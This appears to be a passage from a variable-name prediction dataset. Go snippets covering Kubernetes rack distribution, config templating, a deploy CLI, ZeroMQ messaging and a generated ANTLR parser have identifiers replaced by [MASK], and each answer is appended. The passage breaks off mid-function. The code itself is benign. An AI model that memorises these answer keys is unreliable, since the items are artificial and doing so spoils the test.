spec.Racks = []v1alpha1.Rack{{Name: ""rack1""}} } else { // Sort racks alphabetically by name sort.SliceStable(spec.Racks, func(i, j int) bool { return spec.Racks[i].Name < spec.Racks[j].Name }) } // otherwise, build the distribution [MASK] := int32(len(spec.Racks)) for i, rack := range spec.Racks { replicas := spec.Nodes / [MASK] if i < int(spec.Nodes% [MASK] ) { replicas = replicas + 1 } racksDistribution = append(racksDistribution, &Rack{Name: rack.Name, NodeLabels: rack.Labels, Replicas: replicas, Tolerations: rack.Tolerations, Affinity: rack.Affinity}) } return racksDistribution } type Rack struct { Name string Replicas int32 NodeLabels map[string]string Tolerations []v1.Toleration Affinity *v1.Affinity } type Racks []*Rack func (racks Racks) GetRack(rackName string) *Rack { for _, r := range racks { if r.Name == rackName { return r } } return nil } ",numRacks 733,"// KUISP - A utility to serve static content & reverse proxy to RESTful services // // Copyright 2015 Red Hat, Inc // // Licensed under the Apache License, Version 2.0 (the ""License""); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an ""AS IS"" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package main import ( ""io/ioutil"" ""log"" ""os"" ""path/filepath"" ""strings"" ""text/template"" ) type context struct { } func (c *context) Env() map[string]string { env := make(map[string]string) for _, i := range os.Environ() { sep := strings.Index(i, ""="") env[i[0:sep]] = i[sep+1:] } return env } func createConfig( [MASK] string, outputFile string) { t, err := template.New(filepath.Base( [MASK] )).Funcs( template.FuncMap{ ""cat"": func(f string) (string, error) { s, err := ioutil.ReadFile(f) return string(s), err }, }, ).ParseFiles( [MASK] ) if err != nil { log.Fatal(err) } dir := filepath.Dir(outputFile) if _, err := os.Stat(dir); os.IsNotExist(err) { os.MkdirAll(dir, 0755) } file, err := os.Create(outputFile) if err != nil { log.Fatal(err) } defer file.Close() err = t.Execute(file, &context{}) if err != nil { log.Fatal(err) } } ",templateFile 734,"package main import ( ""flag"" ""fmt"" ""os"" ""github.com/spf13/pflag"" ""github.com/lenniDespero/go-cd/internal/deployer"" ""github.com/lenniDespero/go-cd/internal/logger"" ""github.com/lenniDespero/go-cd/internal/pkg/config"" ) var ( configPath = flag.String(""config"", ""deploy.yml"", ""path to configuration flag"") deployTarget = flag.String(""target"", """", ""target to deploy"") configTest = flag.Bool(""test"", false, ""only test config"") ) func main() { pflag.CommandLine.AddGoFlagSet(flag.CommandLine) flag.Parse() c, err := config.ReadConfig(*configPath) if err != nil { logger.Fatal(err.Error()) } logger.Info(""config test complete: all ok"") if *configTest { logger.Info(""config test mode, exit"") os.Exit(0) } logger.Notice(fmt.Sprintf(""deployment script for project '%s'"", c.ProjectName)) if *deployTarget == """" { logger.Fatal(""no target to deploy"") } _, ok := c.Targets[*deployTarget] if !ok { logger.Fatal(fmt.Sprintf(""target '%s' not found in config"", *deployTarget)) } [MASK] , err := deployer.NewDeployer(c, *deployTarget) if err != nil { logger.Fatal(fmt.Sprintf(""deployer init error %s"", err)) } if err = [MASK] .Run(); err != nil { logger.Fatal(err.Error()) } logger.Info(""all done"") } ",jobber 735,"package piping import ( // zmq ""github.com/pebbe/zmq4"" ""fmt"" ""bytes"" ""github.com/vulogov/TelemetrySAK/internal/log"" ""github.com/vulogov/TelemetrySAK/internal/conf"" zmq ""github.com/pebbe/zmq4"" ) var zmqPipe = make(chan string, 1000000) var zmqPrePipe = make(chan string, 1000000) var zmqCtx,_ = zmq.NewContext() var zmqPUB *zmq.Socket var zmqSUB *zmq.Socket var zmqErr int64 func InitZmq() { var err error log.Trace(fmt.Sprintf(""Creating new PUB socket on %s"", conf.Pub)) zmqPUB, err = zmqCtx.NewSocket(zmq.PUB) if err != nil { log.Error(fmt.Sprintf(""Failure to create socket %V"", err)) return } zmqPUB.Bind(conf.Pub) } func InitZmqSUB() { var err error log.Trace(fmt.Sprintf(""Creating new SUB socket on %s"", conf.Sub)) zmqSUB, err = zmqCtx.NewSocket(zmq.SUB) if err != nil { log.Error(fmt.Sprintf(""Failure to create socket %V"", err)) return } zmqErr = 0 zmqSUB.SetLinger(0) zmqSUB.Connect(conf.Sub) zmqSUB.SetSubscribe("""") } func FinZmq() { log.Info(""Terminating ZMQ"") zmqPUB.Close() zmqCtx.Term() log.Trace(""ZMQ is terminated"") } func FinZmqSUB() { log.Info(""Terminating ZMQ SUB"") zmqSUB.Close() zmqCtx.Term() log.Trace(""ZMQ is terminated"") } func ToZmq(data string) { log.Trace(fmt.Sprintf(""Publishing %d bytes to PUB interface"", len(data))) zmqPUB.Send(data, 0) } func FromZmq() string { var err error var msg string [MASK] := zmq.NewPoller() [MASK] .Add(zmqSUB, zmq.POLLIN) evts, _ := [MASK] .Poll(1000) if len(evts) > 0 { msg, err = zmqSUB.Recv(zmq.DONTWAIT) } if err != nil { zmqErr += 1 return """" } if zmqErr > 10 { log.Trace(fmt.Sprintf(""Reconnecting SUB socket on %s, e=%d"", conf.Sub, zmqErr)) zmqErr = 0 zmqSUB.Close() zmqSUB, err = zmqCtx.NewSocket(zmq.SUB) zmqSUB.Connect(conf.Sub) zmqSUB.SetSubscribe("""") } if len(msg) > 0 { log.Trace(fmt.Sprintf(""Receiving %d bytes from SUB interface"", len(msg))) zmqErr = 0 } else { zmqErr += 1 } return msg } func To(_data []byte) { var data = bytes.NewBuffer(_data) log.Trace(fmt.Sprintf(""Sending %d bytes to zmq pipeline"", data.Len())) zmqPipe <- data.String() log.Trace(fmt.Sprintf(""%d element in pipeline"", len(zmqPipe))) } func From() []byte { return []byte(<-zmqPipe) } func ToPre(_data []byte) { var data = bytes.NewBuffer(_data) log.Trace(fmt.Sprintf(""Sending %d bytes to zmq preprocessing pipeline"", data.Len())) zmqPrePipe <- data.String() log.Trace(fmt.Sprintf(""%d element in preprocessing pipeline"", len(zmqPrePipe))) } func FromPre() []byte { return []byte(<-zmqPrePipe) } func Len() int { return len(zmqPipe) } func PreLen() int { return len(zmqPrePipe) } ",poller 736,"// Code generated from MsgParser.g4 by ANTLR 4.9.3. DO NOT EDIT. package parser // MsgParser import ( ""fmt"" ""reflect"" ""strconv"" ""github.com/antlr/antlr4/runtime/Go/antlr"" ) // Suppress unused import errors var _ = fmt.Printf var _ = reflect.Copy var _ = strconv.Itoa var parserATN = []uint16{ 3, 24715, 42794, 33075, 47597, 16764, 15335, 30598, 22884, 3, 11, 54, 4, 2, 9, 2, 4, 3, 9, 3, 4, 4, 9, 4, 4, 5, 9, 5, 4, 6, 9, 6, 4, 7, 9, 7, 4, 8, 9, 8, 4, 9, 9, 9, 3, 2, 3, 2, 3, 3, 5, 3, 22, 10, 3, 3, 3, 3, 3, 5, 3, 26, 10, 3, 7, 3, 28, 10, 3, 12, 3, 14, 3, 31, 11, 3, 3, 4, 3, 4, 3, 5, 3, 5, 3, 5, 6, 5, 38, 10, 5, 13, 5, 14, 5, 39, 3, 5, 3, 5, 3, 6, 3, 6, 3, 7, 3, 7, 3, 7, 3, 7, 3, 8, 3, 8, 3, 9, 3, 9, 3, 9, 2, 2, 10, 2, 4, 6, 8, 10, 12, 14, 16, 2, 3, 3, 2, 3, 4, 2, 49, 2, 18, 3, 2, 2, 2, 4, 21, 3, 2, 2, 2, 6, 32, 3, 2, 2, 2, 8, 34, 3, 2, 2, 2, 10, 43, 3, 2, 2, 2, 12, 45, 3, 2, 2, 2, 14, 49, 3, 2, 2, 2, 16, 51, 3, 2, 2, 2, 18, 19, 5, 4, 3, 2, 19, 3, 3, 2, 2, 2, 20, 22, 5, 6, 4, 2, 21, 20, 3, 2, 2, 2, 21, 22, 3, 2, 2, 2, 22, 29, 3, 2, 2, 2, 23, 25, 5, 8, 5, 2, 24, 26, 5, 6, 4, 2, 25, 24, 3, 2, 2, 2, 25, 26, 3, 2, 2, 2, 26, 28, 3, 2, 2, 2, 27, 23, 3, 2, 2, 2, 28, 31, 3, 2, 2, 2, 29, 27, 3, 2, 2, 2, 29, 30, 3, 2, 2, 2, 30, 5, 3, 2, 2, 2, 31, 29, 3, 2, 2, 2, 32, 33, 9, 2, 2, 2, 33, 7, 3, 2, 2, 2, 34, 35, 7, 5, 2, 2, 35, 37, 5, 10, 6, 2, 36, 38, 5, 12, 7, 2, 37, 36, 3, 2, 2, 2, 38, 39, 3, 2, 2, 2, 39, 37, 3, 2, 2, 2, 39, 40, 3, 2, 2, 2, 40, 41, 3, 2, 2, 2, 41, 42, 7, 7, 2, 2, 42, 9, 3, 2, 2, 2, 43, 44, 7, 6, 2, 2, 44, 11, 3, 2, 2, 2, 45, 46, 5, 14, 8, 2, 46, 47, 7, 10, 2, 2, 47, 48, 5, 16, 9, 2, 48, 13, 3, 2, 2, 2, 49, 50, 7, 8, 2, 2, 50, 15, 3, 2, 2, 2, 51, 52, 7, 9, 2, 2, 52, 17, 3, 2, 2, 2, 6, 21, 25, 29, 39, } var literalNames = []string{ """", """", """", ""''"", """", """", ""'='"", } var symbolicNames = []string{ """", ""TEXT"", ""SEA_WS"", ""TAG_OPEN"", ""TAG_TYPE"", ""TAG_CLOSE"", ""ATTR_NAME"", ""ATTR_VALUE"", ""EQ"", ""WS"", } var ruleNames = []string{ ""msg"", ""msgContent"", ""msgText"", ""msgTag"", ""tagType"", ""tagAttr"", ""attrName"", ""attrValue"", } type MsgParser struct { *antlr.BaseParser } // NewMsgParser produces a new parser instance for the optional input antlr.TokenStream. // // The *MsgParser instance produced may be reused by calling the SetInputStream method. // The initial parser configuration is expensive to construct, and the object is not thread-safe; // however, if used within a Golang sync.Pool, the construction cost amortizes well and the // objects can be used in a thread-safe manner. func NewMsgParser(input antlr.TokenStream) *MsgParser { this := new(MsgParser) [MASK] := antlr.NewATNDeserializer(nil) deserializedATN := [MASK] .DeserializeFromUInt16(parserATN) decisionToDFA := make([]*antlr.DFA, len(deserializedATN.DecisionToState)) for index, ds := range deserializedATN.DecisionToState { decisionToDFA[index] = antlr.NewDFA(ds, index) } this.BaseParser = antlr.NewBaseParser(input) this.Interpreter = antlr.NewParserATNSimulator(this, deserializedATN, decisionToDFA, antlr.NewPredictionContextCache()) this.RuleNames = ruleNames this.LiteralNames = literalNames this.SymbolicNames = symbolicNames this.GrammarFileName = ""MsgParser.g4"" return this } // MsgParser tokens. const ( MsgParserEOF = antlr.TokenEOF MsgParserTEXT = 1 MsgParserSEA_WS = 2 MsgParserTAG_OPEN = 3 MsgParserTAG_TYPE = 4 MsgParserTAG_CLOSE = 5 MsgParserATTR_NAME = 6 MsgParserATTR_VALUE = 7 MsgParserEQ = 8 MsgParserWS = 9 ) // MsgParser rules. const ( MsgParserRULE_msg = 0 MsgParserRULE_msgContent = 1 MsgParserRULE_msgText = 2 MsgParserRULE_msgTag = 3 MsgParserRULE_tagType = 4 MsgParserRULE_tagAttr = 5 MsgParserRULE_attrName = 6 MsgParserRULE_attrValue = 7 ) // IMsgContext is an interface to support dynamic dispatch. type IMsgContext interface { antlr.ParserRuleContext // GetParser returns the parser. GetParser() antlr.Parser // IsMsgContext differentiates from other interfaces. IsMsgContext() } type MsgContext struct { *antlr.BaseParserRuleContext parser antlr.Parser } func NewEmptyMsgContext() *MsgContext { var p = new(MsgContext) p.BaseParserRuleContext = antlr.NewBaseParserRuleContext(nil, -1) p.RuleIndex = MsgParserRULE_msg return p } func (*MsgContext) IsMsgContext() {} func NewMsgContext(parser antlr.Parser, parent antlr.ParserRuleContext, invokingState int) *MsgContext { var p = new(MsgContext) p.BaseParserRuleContext = antlr.NewBaseParserRuleContext(parent, invokingState) p.parser = parser p.RuleIndex = MsgParserRULE_msg return p } func (s *MsgContext) GetParser() antlr.Parser { return s.parser } func (s *MsgContext) MsgContent() IMsgContentContext { var t = s.GetTypedRuleContext(reflect.TypeOf((*IMsgContentContext)(nil)).Elem(), 0) if t == nil { return nil } return t.(IMsgContentContext) } func (s *MsgContext) GetRuleContext() antlr.RuleContext { return s } func (s *MsgContext) ToStringTree(ruleNames []string, recog antlr.Recognizer) string { return antlr.TreesStringTree(s, ruleNames, recog) } func (s *MsgContext) EnterRule(listener antlr.ParseTreeListener) { if listenerT, ok := listener.(MsgParserListener); ok { listenerT.EnterMsg(s) } } func (s *MsgContext) ExitRule(listener antlr.ParseTreeListener) { if listenerT, ok := listener.(MsgParserListener); ok { listenerT.ExitMsg(s) } } func (p *MsgParser) Msg() (localctx IMsgContext) { this := p _ = this localctx = NewMsgContext(p, p.GetParserRuleContext(), p.GetState()) p.EnterRule(localctx, 0, MsgParserRULE_msg) defer func() { p.ExitRule() }() defer func() { if err := recover(); err != nil { if v, ok := err.(antlr.RecognitionException); ok { localctx.SetException(v) p.GetErrorHandler().ReportError(p, v) p.GetErrorHandler().Recover(p, v) } else { panic(err) } } }() p.EnterOuterAlt(localctx, 1) { p.SetState(16) p.MsgContent() } return localctx } // IMsgContentContext is an interface to support dynamic dispatch. type IMsgContentContext interface { antlr.ParserRuleContext // GetParser returns the parser. GetParser() antlr.Parser // IsMsgContentContext differentiates from other interfaces. IsMsgContentContext() } type MsgContentContext struct { *antlr.BaseParserRuleContext parser antlr.Parser } func NewEmptyMsgContentContext() *MsgContentContext { var p = new(MsgContentContext) p.BaseParserRuleContext = antlr.NewBaseParserRuleContext(nil, -1) p.RuleIndex = MsgParserRULE_msgContent return p } func (*MsgContentContext) IsMsgContentContext() {} func NewMsgContentContext(parser antlr.Parser, parent antlr.ParserRuleContext, invokingState int) *MsgContentContext { var p = new(MsgContentContext) p.BaseParserRuleContext = antlr.NewBaseParserRuleContext(parent, invokingState) p.parser = parser p.RuleIndex = MsgParserRULE_msgContent return p } func (s *MsgContentContext) GetParser() antlr.Parser { return s.parser } func (s *MsgContentContext) AllMsgText() []IMsgTextContext { var ts = s.GetTypedRuleContexts(reflect.TypeOf((*IMsgTextContext)(nil)).Elem()) var tst = make([]IMsgTextContext, len(ts)) for i, t := range ts { if t != nil { tst[i] = t.(IMsgTextContext) } } return tst } func (s *MsgContentContext) MsgText(i int) IMsgTextContext { var t = s.GetTypedRuleContext(reflect.TypeOf((*IMsgTextContext)(nil)).Elem(), i) if t == nil { return nil } return t.(IMsgTextContext) } func (s *MsgContentContext) AllMsgTag() []IMsgTagContext { var ts = s.GetTypedRuleContexts(reflect.TypeOf((*IMsgTagContext)(nil)).Elem()) var tst = make([]IMsgTagContext, len(ts)) for i, t := range ts { if t != nil { tst[i] = t.(IMsgTagContext) } } return tst } func (s *MsgContentContext) MsgTag(i int) IMsgTagContext { var t = s.GetTypedRuleContext(reflect.TypeOf((*IMsgTagContext)(nil)).Elem(), i) if t == nil { return nil } return t.(IMsgTagContext) } func (s *MsgContentContext) GetRuleContext() antlr.RuleContext { return s } func (s *MsgContentContext) ToStringTree(ruleNames []string, recog antlr.Recognizer) string { return antlr.TreesStringTree(s, ruleNames, recog) } func (s *MsgContentContext) EnterRule(listener antlr.ParseTreeListener) { if listenerT, ok := listener.(MsgParserListener); ok { listenerT.EnterMsgContent(s) } } func (s *MsgContentContext) ExitRule(listener antlr.ParseTreeListener) { if listenerT, ok := listener.(MsgParserListener); ok { listenerT.ExitMsgContent(s) } } func (p *MsgParser) MsgContent() (localctx IMsgContentContext) { this := p _ = this localctx = NewMsgContentContext(p, p.GetParserRuleContext(), p.GetState()) p.EnterRule(localctx, 2, MsgParserRULE_msgContent) var _la int defer func() { p.ExitRule() }() defer func() { if err := recover(); err != nil { if v, ok := err.(antlr.RecognitionException); ok { localctx.SetException(v) p.GetErrorHandler().ReportError(p, v) p.GetErrorHandler().Recover(p, v) } else { panic(err) } } }() p.EnterOuterAlt(localctx, 1) p.SetState(19) p.GetErrorHandler().Sync(p) _la = p.GetTokenStream().LA(1) if _la == MsgParserTEXT || _la == MsgParserSEA_WS { { p.SetState(18) p.MsgText() } } p.SetState(27) p.GetErrorHandler().Sync(p) _la = p.GetTokenStream().LA(1) for _la == MsgParserTAG_OPEN { { p.SetState(21) p.MsgTag() } p.SetState(23) p.GetErrorHandler().Sync(p) _la = p.GetTokenStream().LA(1) if _la == MsgParserTEXT || _la == MsgParserSEA_WS { { p.SetState(22) p.MsgText() } } p.SetState(29) p.GetErrorHandler().Sync(p) _la = p.GetTokenStream().LA(1) } return localctx } // IMsgTextContext is an interface to support dynamic dispatch. type IMsgTextContext interface { antlr.ParserRuleContext // GetParser returns the parser. GetParser() antlr.Parser // IsMsgTextContext differentiates from other interfaces. IsMsgTextContext() } type MsgTextContext struct { *antlr.BaseParserRuleContext parser antlr.Parser } func NewEmptyMsgTextContext() *MsgTextContext { var p = new(MsgTextContext) p.BaseParserRuleContext = antlr.NewBaseParserRuleContext(nil, -1) p.RuleIndex = MsgParserRULE_msgText return p } func (*MsgTextContext) IsMsgTextContext() {} func NewMsgTextContext(parser antlr.Parser, parent antlr.ParserRuleContext, invokingState int) *MsgTextContext { var p = new(MsgTextContext) p.BaseParserRuleContext = antlr.NewBaseParserRuleContext(parent, invokingState) p.parser = parser p.RuleIndex = MsgParserRULE_msgText return p } func (s *MsgTextContext) GetParser() antlr.Parser { return s.parser } func (s *MsgTextContext) TEXT() antlr.TerminalNode { return s.GetToken(MsgParserTEXT, 0) } func (s *MsgTextContext) SEA_WS() antlr.TerminalNode { return s.GetToken(MsgParserSEA_WS, 0) } func (s *MsgTextContext) GetRuleContext() antlr.RuleContext { return s } func (s *MsgTextContext) ToStringTree(ruleNames []string, recog antlr.Recognizer) string { return antlr.TreesStringTree(s, ruleNames, recog) } func (s *MsgTextContext) EnterRule(listener antlr.ParseTreeListener) { if listenerT, ok := listener.(MsgParserListener); ok { listenerT.EnterMsgText(s) } } func (s *MsgTextContext) ExitRule(listener antlr.ParseTreeListener) { if listenerT, ok := listener.(MsgParserListener); ok { listenerT.ExitMsgText(s) } } func (p *MsgParser) MsgText() (localctx IMsgTextContext) { this := p _ = this localctx = NewMsgTextContext(p, p.GetParserRuleContext(), p.GetState()) p.EnterRule(localctx, 4, MsgParserRULE_msgText) var _la int defer func() { p.ExitRule() }() defer func() { if err := recover(); err != nil { if v, ok := err.(antlr.RecognitionException); ok { localctx.SetException(v) p.GetErrorHandler().ReportError(p, v) p.GetErrorHandler().Recover(p, v) } else { panic(err) } } }() p.EnterOuterAlt(localctx, 1) { p.SetState(30) _la = p.GetTokenStream().LA(1) if !(_la == MsgParserTEXT || _la == MsgParserSEA_WS) { p.GetErrorHandler().RecoverInline(p) } else { p.GetErrorHandler().ReportMatch(p) p.Consume() } } return localctx } // IMsgTagContext is an interface to support dynamic dispatch. type IMsgTagContext interface { antlr.ParserRuleContext // GetParser returns the parser. GetParser() antlr.Parser // IsMsgTagContext differentiates from other interfaces. IsMsgTagContext() } type MsgTagContext struct { *antlr.BaseParserRuleContext parser antlr.Parser } func NewEmptyMsgTagContext() *MsgTagContext { var p = new(MsgTagContext) p.BaseParserRuleContext = antlr.NewBaseParserRuleContext(nil, -1) p.RuleIndex = MsgParserRULE_msgTag return p } func (*MsgTagContext) IsMsgTagContext() {} func NewMsgTagContext(parser antlr.Parser, parent antlr.ParserRuleContext, invokingState int) *MsgTagContext { var p = new(MsgTagContext) p.BaseParserRuleContext = antlr.NewBaseParserRuleContext(parent, invokingState) p.parser = parser p.RuleIndex = MsgParserRULE_msgTag return p } func (s *MsgTagContext) GetParser() antlr.Parser { return s.parser } func (s *MsgTagContext) TAG_OPEN() antlr.TerminalNode { return s.GetToken(MsgParserTAG_OPEN, 0) } func (s *MsgTagContext) TagType() ITagTypeContext { var t = s.GetTypedRuleContext(reflect.TypeOf((*ITagTypeContext)(nil)).Elem(), 0) if t == nil { return nil } return t.(ITagTypeContext) } func (s *MsgTagContext) TAG_CLOSE() antlr.TerminalNode { return s.GetToken(MsgParserTAG_CLOSE, 0) } func (s *MsgTagContext) AllTagAttr() []ITagAttrContext { var ts = s.GetTypedRuleContexts(reflect.TypeOf((*ITagAttrContext)(nil)).Elem()) var tst = make([]ITagAttrContext, len(ts)) for i, t := range ts { if t != nil { tst[i] = t.(ITagAttrContext) } } return tst } func (s *MsgTagContext) TagAttr(i int) ITagAttrContext { var t = s.GetTypedRuleContext(reflect.TypeOf((*ITagAttrContext)(nil)).Elem(), i) if t == nil { return nil } return t.(ITagAttrContext) } func (s *MsgTagContext) GetRuleContext() antlr.RuleContext { return s } func (s *MsgTagContext) ToStringTree(ruleNames []string, recog antlr.Recognizer) string { return antlr.TreesStringTree(s, ruleNames, recog) } func (s *MsgTagContext) EnterRule(listener antlr.ParseTreeListener) { if listenerT, ok := listener.(MsgParserListener); ok { listenerT.EnterMsgTag(s) } } func (s *MsgTagContext) ExitRule(listener antlr.ParseTreeListener) { if listenerT, ok := listener.(MsgParserListener); ok { listenerT.ExitMsgTag(s) } } func (p *MsgParser) MsgTag() (localctx IMsgTagContext) { this := p _ = this localctx = NewMsgTagContext(p, p.GetParserRuleContext(), p.GetState()) p.EnterRule(localctx, 6, MsgParserRULE_msgTag) var _la int defer func() { p.ExitRule() }() defer func() { if err := recover(); err != nil { if v, ok := err.(antlr.RecognitionException); ok { localctx.SetException(v) p.GetErrorHandler().ReportError(p, v) p.GetErrorHandler().Recover(p, v) } else { panic(err) } } }() p.EnterOuterAlt(localctx, 1) { p.SetState(32) p.Match(MsgParserTAG_OPEN) } { p.SetState(33) p.TagType() } p.SetState(35) p.GetErrorHandler().Sync(p) _la = p.GetTokenStream().LA(1) for ok := true; ok; ok = _la == MsgParserATTR_NAME { { p.SetState(34) p.TagAttr() } p.SetState(37) p.GetErrorHandler().Sync(p) _la = p.GetTokenStream().LA(1) } { p.SetState(39) p.Match(MsgParserTAG_CLOSE) } return localctx } // ITagTypeContext is an interface to support dynamic dispatch. type ITagTypeContext interface { antlr.ParserRuleContext // GetParser returns the parser. GetParser() antlr.Parser // IsTagTypeContext differentiates from other interfaces. IsTagTypeContext() } type TagTypeContext struct { *antlr.BaseParserRuleContext parser antlr.Parser } func NewEmptyTagTypeContext() *TagTypeContext { var p = new(TagTypeContext) p.BaseParserRuleContext = antlr.NewBaseParserRuleContext(nil, -1) p.RuleIndex = MsgParserRULE_tagType return p } func (*TagTypeContext) IsTagTypeContext() {} func NewTagTypeContext(parser antlr.Parser, parent antlr.ParserRuleContext, invokingState int) *TagTypeContext { var p = new(TagTypeContext) p.BaseParserRuleContext = antlr.NewBaseParserRuleContext(parent, invokingState) p.parser = parser p.RuleIndex = MsgParserRULE_tagType return p } func (s *TagTypeContext) GetParser() antlr.Parser { return s.parser } func (s *TagTypeContext) TAG_TYPE() antlr.TerminalNode { return s.GetToken(MsgParserTAG_TYPE, 0) } func (s *TagTypeContext) GetRuleContext() antlr.RuleContext { return s } func (s *TagTypeContext) ToStringTree(ruleNames []string, recog antlr.Recognizer) string { return antlr.TreesStringTree(s, ruleNames, recog) } func (s *TagTypeContext) EnterRule(listener antlr.ParseTreeListener) { if listenerT, ok := listener.(MsgParserListener); ok { listenerT.EnterTagType(s) } } func (s *TagTypeContext) ExitRule(listener antlr.ParseTreeListener) { if listenerT, ok := listener.(MsgParserListener); ok { listenerT.ExitTagType(s) } } func (p *MsgParser) TagType() (localctx ITagTypeContext) { this := p _ = this localctx = NewTagTypeContext(p, p.GetParserRuleContext(), p.GetState()) p.EnterRule(localctx, 8, MsgParserRULE_tagType) defer func() { p.ExitRule() }() defer func() { if err := recover(); err != nil { if v, ok := err.(antlr.RecognitionException); ok { localctx.SetException(v) p.GetErrorHandler().ReportError(p, v) p.GetErrorHandler().Recover(p, v) } else { panic(err) } } }() p.EnterOuterAlt(localctx, 1) { p.SetState(41) p.Match(MsgParserTAG_TYPE) } return localctx } // ITagAttrContext is an interface to support dynamic dispatch. type ITagAttrContext interface { antlr.ParserRuleContext // GetParser returns the parser. GetParser() antlr.Parser // IsTagAttrContext differentiates from other interfaces. IsTagAttrContext() } type TagAttrContext struct { *antlr.BaseParserRuleContext parser antlr.Parser } func NewEmptyTagAttrContext() *TagAttrContext { var p = new(TagAttrContext) p.BaseParserRuleContext = antlr.NewBaseParserRuleContext(nil, -1) p.RuleIndex = MsgParserRULE_tagAttr return p } func (*TagAttrContext) IsTagAttrContext() {} func NewTagAttrContext(parser antlr.Parser, parent antlr.ParserRuleContext, invokingState int) *TagAttrContext { var p = new(TagAttrContext) p.BaseParserRuleContext = antlr.NewBaseParserRuleContext(parent, invokingState) p.parser = parser p.RuleIndex = MsgParserRULE_tagAttr return p } func (s *TagAttrContext) GetParser() antlr.Parser { return s.parser } func (s *TagAttrContext) AttrName() IAttrNameContext { var t = s.GetTypedRuleContext(reflect.TypeOf((*IAttrNameContext)(nil)).Elem(), 0) if t == nil { return nil } return t.(IAttrNameContext) } func (s *TagAttrContext) EQ() antlr.TerminalNode { return s.GetToken(MsgParserEQ, 0) } func (s *TagAttrContext) AttrValue() IAttrValueContext { var t = s.GetTypedRuleContext(reflect.TypeOf((*IAttrValueContext)(nil)).Elem(), 0) if t == nil { return nil } return t.(IAttrValueContext) } func (s *TagAttrContext) GetRuleContext() antlr.RuleContext { return s } func (s *TagAttrContext) ToStringTree(ruleNames []string, recog antlr.Recognizer) string { return antlr.TreesStringTree(s, ruleNames, recog) } func (s *TagAttrContext) EnterRule(listener antlr.ParseTreeListener) { if listenerT, ok := listener.(MsgParserListener); ok { listenerT.EnterTagAttr(s) } } func (s *TagAttrContext) ExitRule(listener antlr.ParseTreeListener) { if listenerT, ok := listener.(MsgParserListener); ok { listenerT.ExitTagAttr(s) } } func (p *MsgParser) TagAttr() (localctx ITagAttrContext) { this := p _ = this localctx = NewTagAttrContext(p, p.GetParserRuleContext(), p.GetState()) p.EnterRule(localctx, 10, MsgParserRULE_tagAttr) defer func() { p.ExitRule() }() defer func() { if err := recover(); err != nil { if v, ok := err.(antlr.RecognitionException); ok { localctx.SetException(v) p.GetErrorHandler().ReportError(p, v) p.GetErrorHandler().Recover(p, v) } else { panic(err) } } }() p.EnterOuterAlt(localctx, 1) { p.SetState(43) p.AttrName() } { p.SetState(44) p.Match(MsgParserEQ) } { p.SetState(45) p.AttrValue() } return localctx } // IAttrNameContext is an interface to support dynamic dispatch. type IAttrNameContext interface { antlr.ParserRuleContext // GetParser returns the parser. GetParser() antlr.Parser // IsAttrNameContext differentiates from other interfaces. IsAttrNameContext() } type AttrNameContext struct { *antlr.BaseParserRuleContext parser antlr.Parser } func NewEmptyAttrNameContext() *AttrNameContext { var p = new(AttrNameContext) p.BaseParserRuleContext = antlr.NewBaseParserRuleContext(nil, -1) p.RuleIndex = MsgParserRULE_attrName return p } func (*AttrNameContext) IsAttrNameContext() {} func NewAttrNameContext(parser antlr.Parser, parent antlr.ParserRuleContext, invokingState int) *AttrNameContext { var p = new(AttrNameContext) p.BaseParserRuleContext = antlr.NewBaseParserRuleContext(parent, invokingState) p.parser = parser p.RuleIndex = MsgParserRULE_attrName return p } func (s *AttrNameContext) GetParser() antlr.Parser { return s.parser } func (s *AttrNameContext) ATTR_NAME() antlr.TerminalNode { return s.GetToken(MsgParserATTR_NAME, 0) } func (s *AttrNameContext) GetRuleContext() antlr.RuleContext { return s } func (s *AttrNameContext) ToStringTree(ruleNames []string, recog antlr.Recognizer) string { return antlr.TreesStringTree(s, ruleNames, recog) } func (s *AttrNameContext) EnterRule(listener antlr.ParseTreeListener) { if listenerT, ok := listener.(MsgParserListener); ok { listenerT.EnterAttrName(s) } } func (s *AttrNameContext) ExitRule(listener antlr.ParseTreeListener) { if listenerT, ok := listener.(MsgParserListener); ok { listenerT.ExitAttrName(s) } } func (p *MsgParser) AttrName() (localctx IAttrNameContext) { this := p _ = this localctx = NewAttrNameContext(p, p.GetParserRuleContext(), p.GetState()) p.EnterRule(localctx, 12, MsgParserRULE_attrName) defer func() { p.ExitRule() }() defer func() { if err := recover(); err != nil { if v, ok := err.(antlr.RecognitionException); ok { localctx.SetException(v) p.GetErrorHandler().ReportError(p, v) p.GetErrorHandler().Recover(p, v) } else { panic(err) } } }() p.EnterOuterAlt(localctx, 1) { p.SetState(47) p.Match(MsgParserATTR_NAME) } return localctx } // IAttrValueContext is an interface to support dynamic dispatch. type IAttrValueContext interface { antlr.ParserRuleContext // GetParser returns the parser. GetParser() antlr.Parser // IsAttrValueContext differentiates from other interfaces. IsAttrValueContext() } type AttrValueContext struct { *antlr.BaseParserRuleContext parser antlr.Parser } func NewEmptyAttrValueContext() *AttrValueContext { var p = new(AttrValueContext) p.BaseParserRuleContext = antlr.NewBaseParserRuleContext(nil, -1) p.RuleIndex = MsgParserRULE_attrValue return p } func (*AttrValueContext) IsAttrValueContext() {} func NewAttrValueContext(parser antlr.Parser, parent antlr.ParserRuleContext, invokingState int) *AttrValueContext { var p = new(AttrValueContext) p.BaseParserRuleContext = antlr.NewBaseParserRuleContext(parent, invokingState) p.parser = parser p.RuleIndex = MsgParserRULE_attrValue return p } func (s *AttrValueContext) GetParser() antlr.Parser { return s.parser } func (s *AttrValueContext) ATTR_VALUE() antlr.TerminalNode { return s.GetToken(MsgParserATTR_VALUE, 0) } func (s *AttrValueContext) GetRuleContext() antlr.RuleContext { return s } func (s *AttrValueContext) ToStringTree(ruleNames []string, recog antlr.Recognizer) string { return antlr.TreesStringTree(s, ruleNames, recog) } func (s *AttrValueContext) EnterRule(listener antlr.ParseTreeListener) { if listenerT, ok := listener.(MsgParserListener); ok { listenerT.EnterAttrValue(s) } } func (s *AttrValueContext) ExitRule(listener antlr.ParseTreeListener) { if listenerT, ok := listener.(MsgParserListener); ok { listenerT.ExitAttrValue(s) } } func (p *MsgParser) AttrValue() (localctx IAttrValueContext) { this := p _ = this localctx = NewAttrValueContext(p, p.GetParserRuleContext(), p.GetState()) p.EnterRule(localctx, 14, MsgParserRULE_attrValue) defer func() { p.ExitRule() }() defer 